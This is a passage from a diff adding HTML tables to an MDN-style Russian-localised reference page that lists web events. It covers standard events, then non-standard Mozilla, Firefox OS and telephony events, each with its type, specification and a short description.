+   <td>A storage area (<a href="/en-US/docs/DOM/Storage#localStorage">localStorage</a> or <a href="/en-US/docs/DOM/Storage#sessionStorage">sessionStorage</a>) has changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("submit")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-algorithm">HTML5</a></td>
+   <td>A form is submitted.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/success_indexedDB">success</a></code></td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>A request successfully completed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("suspend")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-suspend">HTML5 media</a></td>
+   <td>Media data loading has been suspended.</td>
+  </tr>
+  <tr>
+   <td>{{Event("SVGAbort")}}</td>
+   <td>{{DOMxRef("SVGEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>Page loading has been stopped before the <a href="/en-US/docs/SVG">SVG</a> was loaded.</td>
+  </tr>
+  <tr>
+   <td>{{Event("SVGError")}}</td>
+   <td>{{DOMxRef("SVGEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An error has occurred before the <a href="/en-US/docs/SVG">SVG</a> was loaded.</td>
+  </tr>
+  <tr>
+   <td>{{Event("SVGLoad")}}</td>
+   <td>{{DOMxRef("SVGEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document has been loaded and parsed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("SVGResize")}}</td>
+   <td>{{DOMxRef("SVGEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document is being resized.</td>
+  </tr>
+  <tr>
+   <td>{{Event("SVGScroll")}}</td>
+   <td>{{DOMxRef("SVGEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document is being scrolled.</td>
+  </tr>
+  <tr>
+   <td>{{Event("SVGUnload")}}</td>
+   <td>{{DOMxRef("SVGEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document has been removed from a window or frame.</td>
+  </tr>
+  <tr>
+   <td>{{Event("SVGZoom")}}</td>
+   <td>{{DOMxRef("SVGZoomEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document is being zoomed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("timeout")}}</td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-timeout">XMLHttpRequest</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{Event("timeupdate")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-timeupdate">HTML5 media</a></td>
+   <td>The time indicated by the <code>currentTime</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("touchcancel")}}</td>
+   <td>{{DOMxRef("TouchEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/touch-events/">Touch Events</a></td>
+   <td>A touch point has been disrupted in an implementation-specific manners (too many touch points for example).</td>
+  </tr>
+  <tr>
+   <td>{{Event("touchend")}}</td>
+   <td>{{DOMxRef("TouchEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/touch-events/#the-touchend-event">Touch Events</a></td>
+   <td>A touch point is removed from the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{Event("touchmove")}}</td>
+   <td>{{DOMxRef("TouchEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/touch-events/#the-touchmove-event">Touch Events</a></td>
+   <td>A touch point is moved along the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{Event("touchstart")}}</td>
+   <td>{{DOMxRef("TouchEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a></td>
+   <td>A touch point is placed on the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{Event("transitionend")}}</td>
+   <td>{{DOMxRef("TransitionEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/css3-transitions/#transition-events">CSS Transitions</a></td>
+   <td>A <a href="/en-US/docs/CSS/CSS_transitions">CSS transition</a> has completed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("unload")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-unload" style="white-space: nowrap;">DOM L3</a></td>
+   <td>The document or a dependent resource is being unloaded.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code></td>
+   <td></td>
+   <td><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>An attempt was made to open a database with a version number higher than its current version. A <code>versionchange</code> transaction has been created.</td>
+  </tr>
+  <tr>
+   <td>{{Event("userproximity")}}</td>
+   <td>{{DOMxRef("UserProximityEvent")}} {{Experimental_Inline}}</td>
+   <td>{{SpecName("Proximity Events")}}</td>
+   <td>Fresh data is available from a proximity sensor (indicates whether the nearby object is <code>near</code> the device or not).</td>
+  </tr>
+  <tr>
+   <td>{{Event("voiceschanged")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The list of {{DOMxRef("SpeechSynthesisVoice")}} objects that would be returned by the {{DOMxRef("SpeechSynthesis.getVoices()")}} method has changed (when the {{Event("voiceschanged")}} event fires.)</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></td>
+   <td></td>
+   <td><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
+   <td>A <code>versionchange</code> transaction completed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("visibilitychange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/page-visibility/#sec-visibilitychange-event">Page visibility</a></td>
+   <td>The content of a tab has become visible or has been hidden.</td>
+  </tr>
+  <tr>
+   <td>{{Event("volumechange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-volumechange">HTML5 media</a></td>
+   <td>The volume has changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("waiting")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-waiting">HTML5 media</a></td>
+   <td>Playback has stopped because of a temporary lack of data.</td>
+  </tr>
+  <tr>
+   <td>{{Event("wheel")}}</td>
+   <td>{{DOMxRef("WheelEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-wheel" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A wheel button of a pointing device is rotated in any direction.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Нестандартные_события">Нестандартные события</h2>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Тип события</th>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Происходит когда...</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("afterscriptexecute")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>A script has been executed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("beforescriptexecute")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>A script is about to be executed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("beforeinstallprompt")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><em>Chrome specific</em></td>
+   <td>A user is prompted to save a web site to a home screen on mobile.</td>
+  </tr>
+  <tr>
+   <td>{{Event("cardstatechange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{DOMxRef("MozMobileConnection.cardState")}} property changes value.</td>
+  </tr>
+  <tr>
+   <td>{{Event("change")}}</td>
+   <td>{{DOMxRef("DeviceStorageChangeEvent")}}</td>
+   <td><em>Firefox OS specific</em></td>
+   <td>This event is triggered each time a file is created, modified or deleted on a given storage area.</td>
+  </tr>
+  <tr>
+   <td>{{Event("connectionInfoUpdate")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The informations about the signal strength and the link speed have been updated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("cfstatechange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The call forwarding state changes.</td>
+  </tr>
+  <tr>
+   <td>{{Event("datachange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{DOMxRef("MozMobileConnection.data")}} object changes values.</td>
+  </tr>
+  <tr>
+   <td>{{Event("dataerror")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{DOMxRef("MozMobileConnection.data")}} object receive an error from the <abbr title="Radio Interface Layer">RIL</abbr>.</td>
+  </tr>
+  <tr>
+   <td>{{Event("DOMMouseScroll")}} {{Deprecated_Inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The wheel button of a pointing device is rotated (detail attribute is a number of lines). (use {{Event("wheel")}} instead)</td>
+  </tr>
+  <tr>
+   <td><code>dragdrop</code> {{Deprecated_Inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element is dropped (use {{Event("drop")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code>dragexit</code> {{Deprecated_Inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A drag operation is being ended(use {{Event("dragend")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code>draggesture</code> {{Deprecated_Inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The user starts dragging an element or text selection (use {{Event("dragstart")}} instead).</td>
+  </tr>
+  <tr>
+   <td>{{Event("icccardlockerror")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>the {{DOMxRef("MozMobileConnection.unlockCardLock()")}} or {{DOMxRef("MozMobileConnection.setCardLock()")}} methods fails.</td>
+  </tr>
+  <tr>
+   <td>{{Event("iccinfochange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{DOMxRef("MozMobileConnection.iccInfo")}} object changes.</td>
+  </tr>
+  <tr>
+   <td>{{Event("localized")}}</td>
+   <td></td>
+   <td><em><a href="https://github.com/fabi1cazenave/webL10n">Mozilla Specific</a></em></td>
+   <td>The page has been localized using data-l10n-* attributes.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mousewheel")}} {{Deprecated_Inline}}</td>
+   <td></td>
+   <td><a href="http://msdn.microsoft.com/en-us/library/ie/ms536951%28v=vs.85%29.aspx"><em>IE invented</em></a></td>
+   <td>The wheel button of a pointing device is rotated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("MozAudioAvailable")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>The audio buffer is full and the corresponding raw samples are available.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozBeforeResize"><code>MozBeforeResize</code></a> {{Obsolete_Inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A window is about to be resized.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowseractivitydone")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when some activity has been completed (complete description TBD.)</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserasyncscroll")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the scroll position within a browser<code> </code>{{HTMLElement("iframe")}} changes.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowseraudioplaybackchange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when audio starts or stops playing within the browser {{HTMLElement("iframe")}} content.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsercaretstatechanged")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the text selected inside the browser {{HTMLElement("iframe")}} content changes.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserclose")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when window.close() is called within a browser {{HTMLElement("iframe")}}.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsercontextmenu")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when a browser {{HTMLElement("iframe")}} try to open a context menu.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserdocumentfirstpaint")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when a new paint occurs on any document in the browser {{HTMLElement("iframe")}}.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsererror")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when an error occured while trying to load a content within a browser iframe</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserfindchange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when a search operation is performed on the browser {{HTMLElement("iframe")}} content (see <a href="/en-US/docs/Web/API/HTMLIFrameElement#Search_methods">HTMLIFrameElement search methods</a>.)</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserfirstpaint")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the {{HTMLElement("iframe")}} paints content for the first time (this doesn't include the initial paint from <em>about:blank</em>.)</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsericonchange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the favicon of a browser iframe changes.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserlocationchange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when an browser iframe's location changes.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserloadend")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the browser iframe has finished loading all its assets.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserloadstart")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the browser iframe starts to load a new page.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsermanifestchange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when a the path to the app manifest changes, in the case of a browser {{HTMLElement("iframe")}} with an open web app embedded in it.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsermetachange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when a {{htmlelement("meta")}} elelment is added to, removed from or changed in the browser {{HTMLElement("iframe")}}'s content.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowseropensearch")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when a link to a search engine is found.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowseropentab")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when a new tab is opened within a browser {{HTMLElement("iframe")}} as a result of the user issuing a command to open a link target in a new tab (for example <kbd>ctrl</kbd>/<kbd>cmd</kbd> + click.)</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowseropenwindow")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when {{DOMxRef("window.open()")}} is called within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserresize")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the browser {{HTMLElement("iframe")}}'s window size has changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserscroll")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the browser {{HTMLElement("iframe")}} content scrolls.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserscrollareachanged")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the available scrolling area in the browser {{HTMLElement("iframe")}} changes. This can occur on resize and when the page size changes (while loading for example.)</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserscrollviewchange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when asynchronous scrolling (i.e. APCZ) starts or stops.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsersecuritychange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the SSL state changes within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserselectionstatechanged")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the text selected inside the browser {{HTMLElement("iframe")}} content changes. Note that this is deprecated, and newer implementations use {{Event("mozbrowsercaretstatechanged")}} instead.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsershowmodalprompt")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when {{DOMxRef("window.alert","alert()")}}, {{DOMxRef("window.confirm","confirm()")}} or {{DOMxRef("window.prompt","prompt()")}} are called within a browser iframe</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsertitlechange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the document.title changes within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserusernameandpasswordrequired")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when an HTTP authentification is requested.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowservisibilitychange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the visibility state of the current browser iframe {{HTMLElement("iframe")}} changes, for example due to a call to {{DOMxRef("HTMLIFrameElement.setVisible","setVisible()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{Event("MozGamepadButtonDown")}}</td>
+   <td></td>
+   <td><em>To be specified</em></td>
+   <td>A gamepad button is pressed down.</td>
+  </tr>
+  <tr>
+   <td>{{Event("MozGamepadButtonUp")}}</td>
+   <td></td>
+   <td><em>To be specified</em></td>
+   <td>A gamepad button is released.</td>
+  </tr>
+  <tr>
+   <td>{{Event("MozMousePixelScroll")}} {{Deprecated_Inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The wheel button of a pointing device is rotated (detail attribute is a number of pixels). (use wheel instead)</td>
+  </tr>
+  <tr>
+   <td>{{Event("MozOrientation")}} {{Deprecated_Inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>Fresh data is available from an orientation sensor (see deviceorientation).</td>
+  </tr>
+  <tr>
+   <td>{{Event("MozScrolledAreaChanged")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>The document view has been scrolled or resized.</td>
+  </tr>
+  <tr>
+   <td>{{Event("moztimechange")}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The time of the device has been changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchDown</a> {{Deprecated_Inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is placed on the touch surface (use touchstart instead).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchMove</a> {{Deprecated_Inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is moved along the touch surface (use touchmove instead).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchUp</a> {{Deprecated_Inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is removed from the touch surface (use touchend instead).</td>
+  </tr>
+  <tr>
+   <td>{{Event("alerting")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The correspondent is being alerted (his/her phone is ringing).</td>
+  </tr>
+  <tr>
+   <td>{{Event("busy")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The line of the correspondent is busy.</td>
+  </tr>
+  <tr>
+   <td>{{Event("callschanged")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been added or removed from the list of current calls.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/DOM/onconnected">onconnected</a> {{Event("connected")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been connected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("connecting")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to connect.</td>
+  </tr>
+  <tr>
+   <td>{{Event("delivered")}}</td>
+   <td>{{DOMxRef("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been successfully delivered.</td>
+  </tr>
+  <tr>
+   <td>{{Event("dialing")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The number of a correspondent has been dialed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("disabled")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Wifi has been disabled on the device.</td>
+  </tr>
+  <tr>
+   <td>{{Event("disconnected")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been disconnected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("disconnecting")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to disconnect.</td>
+  </tr>
+  <tr>
+   <td>{{Event("enabled")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Wifi has been enabled on the device.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error_(Telephony)","error")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An error occurred.</td>
+  </tr>
+  <tr>
+   <td>{{Event("held")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been held.</td>
+  </tr>
+  <tr>
+   <td>{{Event("holding")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to be held.</td>
+  </tr>
+  <tr>
+   <td>{{Event("incoming")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is being received.</td>
+  </tr>
+  <tr>
+   <td>{{Event("received")}}</td>
+   <td>{{DOMxRef("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been received.</td>
+  </tr>
+  <tr>
+   <td>{{Event("resuming")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to resume.</td>
+  </tr>
+  <tr>
+   <td>{{Event("sent")}}</td>
+   <td>{{DOMxRef("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been sent.</td>
+  </tr>
+  <tr>
+   <td>{{Event("statechange")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The state of a call has changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("statuschange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The status of the Wifi connection changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("overflow")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element has been overflowed by its content or has been rendered for the first time in this state (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
+  </tr>
+  <tr>
+   <td>{{Event("smartcard-insert")}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A <a href="/en-US/docs/JavaScript_crypto">smartcard</a> has been inserted.</td>
+  </tr>
+  <tr>
+   <td>{{Event("smartcard-remove")}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A <a href="/en-US/docs/JavaScript_crypto">smartcard</a> has been removed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("stkcommand")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The <abbr title="SIM Application Toolkit">STK</abbr> Proactive Command is issued from <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
+  </tr>
+  <tr>
+   <td>{{Event("stksessionend")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The <abbr title="SIM Application Toolkit">STK</abbr> Session is terminated by <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
+  </tr>
+  <tr>
+   <td>{{Event("touchenter")}}</td>
+   <td>{{DOMxRef("TouchEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a> Removed</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{Event("touchleave")}}</td>
+   <td>{{DOMxRef("TouchEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a> Removed</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{Event("underflow")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element is no longer overflowed by its content (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
+  </tr>
+  <tr>
+   <td><code>uploadprogress</code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>Upload is in progress (see {{Event("progress")}}).</td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{Event("ussdreceived")}}</p>
+   </td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>A new <abbr title="Unstructured Supplementary Service Data">USSD</abbr> message is received</td>
+  </tr>
+  <tr>
+   <td>{{Event("voicechange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{DOMxRef("MozMobileConnection.voice")}} object changes values.</td>
+  </tr>
+  <tr>
+   <td>{{Event("msContentZoom")}}</td>
